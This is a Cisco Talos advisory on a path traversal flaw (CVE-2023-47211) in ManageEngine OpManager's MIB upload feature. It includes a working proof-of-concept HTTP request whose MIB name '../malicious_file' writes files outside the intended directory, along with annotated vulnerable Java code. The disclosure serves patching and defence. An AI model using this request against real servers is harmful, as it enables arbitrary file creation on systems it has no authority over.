CVE-2023-47211
A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
ManageEngine OpManager 12.7.258
OpManager - https://www.manageengine.com/network-monitoring/
9.1 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
OpManager is a network management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.
An exploitable directory traversal vulnerability exists in relation to MiB
file upload action. Specifically, when navigating to Settings -> Tools -> MiB Browser
and selecting Upload MiB
, the following API call is performed:
POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
Host: desktop-q1n26jm:8060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-ZCSRF-TOKEN: opmcsrftoken=a1affd4f119e6801bdb58f5eba836fe2bc7d021771251e10279311c1373887da9a260b18c107946768f95026696995e2bdd4a1306edf0f1d1e1eb834d36adb52
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------32931620869889964872886226
Content-Length: 795
Origin: http://desktop-q1n26jm:8060
Connection: close
-----------------------------32931620869889964872886226
Content-Disposition: form-data; name="mibFile"; filename="magic.txt"
Content-Type: text/plain
../malicious_file DEFINITIONS ::= BEGIN
IMPORTS
enterprises
FROM RFC1155-SMI;
microsoft OBJECT IDENTIFIER ::= { enterprises 311 }
software OBJECT IDENTIFIER ::= { microsoft 1 }
systems OBJECT IDENTIFIER ::= { software 1 }
os OBJECT IDENTIFIER ::= { systems 3 }
windowsNT OBJECT IDENTIFIER ::= { os 1 }
windows OBJECT IDENTIFIER ::= { os 2 }
workstation OBJECT IDENTIFIER ::= { windowsNT 1 }
server OBJECT IDENTIFIER ::= { windowsNT 2 }
dc OBJECT IDENTIFIER ::= { windowsNT 3 }
END
-----------------------------32931620869889964872886226--
Using this API, an attacker is able to send a malicious MiB file to the server. Looking at vulnerable code:
com.adventnet.me.opmanager.server.api.MibBrowserApiUtil
public void uploadMib(APIRequestParams params, HttpServletRequest request, HttpServletResponse response) throws Exception {
Properties uploadedMibFileStatus = this.mib.uploadMib(request);
(...)
Line 1478 public Properties uploadMib(HttpServletRequest request) {
Line 1479 String fextension;
Line 1480 Properties toReturn = new Properties();
Line 1481 try {
Line 1482 boolean isMultipart = ServletFileUpload.isMultipartContent(request);
Line 1483 if (isMultipart) {
Line 1484 SecurityRequestWrapper secureRequest = SecurityRequestWrapper.getInstance(request);
Line 1485 ITOMSecurityRequestWrapper isrWrapper = new ITOMSecurityRequestWrapper(secureRequest);
Line 1486 UploadedFileItem uploadedFileItem = isrWrapper.getMultipartParameter("mibFile");
Line 1487 if (uploadedFileItem != null) {
Line 1488 String uploadedFileName = uploadedFileItem.getFileName();
Line 1489 File f = uploadedFileItem.getUploadedFile();
Line 1490 InputStream is = new FileInputStream(f);
Line 1491 String fileName = NmsUtil.MIBDIR + uploadedFileName;
Line 1492 File logoFile = new File(fileName);
Line 1493 String mibFileLoc = new File(logoFile.getCanonicalPath()).getParent();
Line 1494 String filename = logoFile.getName().toLowerCase();
Line 1495 if (filename.endsWith(".txt") || filename.endsWith(".mib") || filename.endsWith(".my") || filename.endsWith(".mi2") || AvailabilityReportConstants.NONE.equals(FilenameUtils.getExtension(logoFile.getName()))) {
Line 1496 InputStream is_temp = new FileInputStream(f);
Line 1497 BufferedReader br = new BufferedReader(new InputStreamReader(is_temp, SMSConstants.UTF_8));
Line 1498 String orgMibName = null;
Line 1499 while (true) {
Line 1500 String line = br.readLine();
Line 1501 if (line != null) {
Line 1502 if (line.contains("DEFINITIONS ::= BEGIN")) {
Line 1503 orgMibName = line.split("DEFINITIONS")[0].trim();
Line 1504 break;
Line 1505 }
Line 1506 } else {
Line 1507 break;
Line 1508 }
Line 1509 }
Line 1510 if (orgMibName == null) {
Line 1511 logger.log(Level.WARNING, "Error:: DEFINITIONS text is missing in " + uploadedFileName);
Line 1512 toReturn.put("error", NmsUtil.GetString("webclient.tools.mibbrowser.upload.fail"));
Line 1513 return toReturn;
Line 1514 }
Line 1515 logger.log(Level.WARNING, "Original Mibs name " + orgMibName);
Line 1516 if (XSSUtil.detectXSS(orgMibName)) {
Line 1517 logger.log(Level.WARNING, "Import MIB is not added in OpUtils Since XSS input found in One of the param value :" + orgMibName);
Line 1518 toReturn.put("error", NmsUtil.GetString("webclient.tools.mibbrowser.upload.fail"));
Line 1519 return toReturn;
Line 1520 }
Line 1521 String fextension2 = FilenameUtils.getExtension(filename);
Line 1522 if (fextension2 == null && AvailabilityReportConstants.NONE.equals(fextension2)) {
Line 1523 fextension = AvailabilityReportConstants.NONE;
Line 1524 } else {
Line 1525 fextension = "." + fextension2;
Line 1526 }
Line 1527 File importedFile = new File(mibFileLoc + File.separator + getFileNameWithDate(fextension));
Line 1528 OpManagerLogger.printLog(4, " MIB file with date " + importedFile.getCanonicalPath());
Line 1529 OutputStream out = new FileOutputStream(importedFile);
Line 1530 while (true) {
Line 1531 int c = is.read();
Line 1532 if (c == -1) {
Line 1533 break;
Line 1534 }
Line 1535 out.write(c);
Line 1536 }
Line 1537 out.flush();
Line 1538 out.close();
Line 1539 File destFile = new File(mibFileLoc + File.separator + orgMibName + fextension);
Line 1540 if (destFile.exists()) {
Line 1541 toReturn.put("error", NmsUtil.GetString("webclient.tools.mibbrowser.file.exists"));
Line 1542 importedFile.delete();
Line 1543 } else {
Line 1544 CommonUtil.copyFile(importedFile, destFile, 10000);
Line 1545
As we can see in line 1503
orgMibName
variable is set based on a part of the uploaded MiB file content, which in our case equals ../malicious_file
.
Tracking down usage of this variable, we can see that it is used as a part of destination file name/path line 1539
.
Following orgMibName
variable from the initialization to its usage at line 1539
, we dont see any sanitization checks in a context of directory traversal.
That gives an attacker the possibility to create file in any location outside mibs
( default MiBs files location) directory.
The only constraint an attacker needs to deal with is file extension, which needs to be set to one of those checked at line 1495
.
Vendor advisory: https://www.manageengine.com/itom/advisory/cve-2023-47211.html
2023-11-14 - Vendor Disclosure
2023-12-11 - Vendor Patch Release
2024-01-08 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.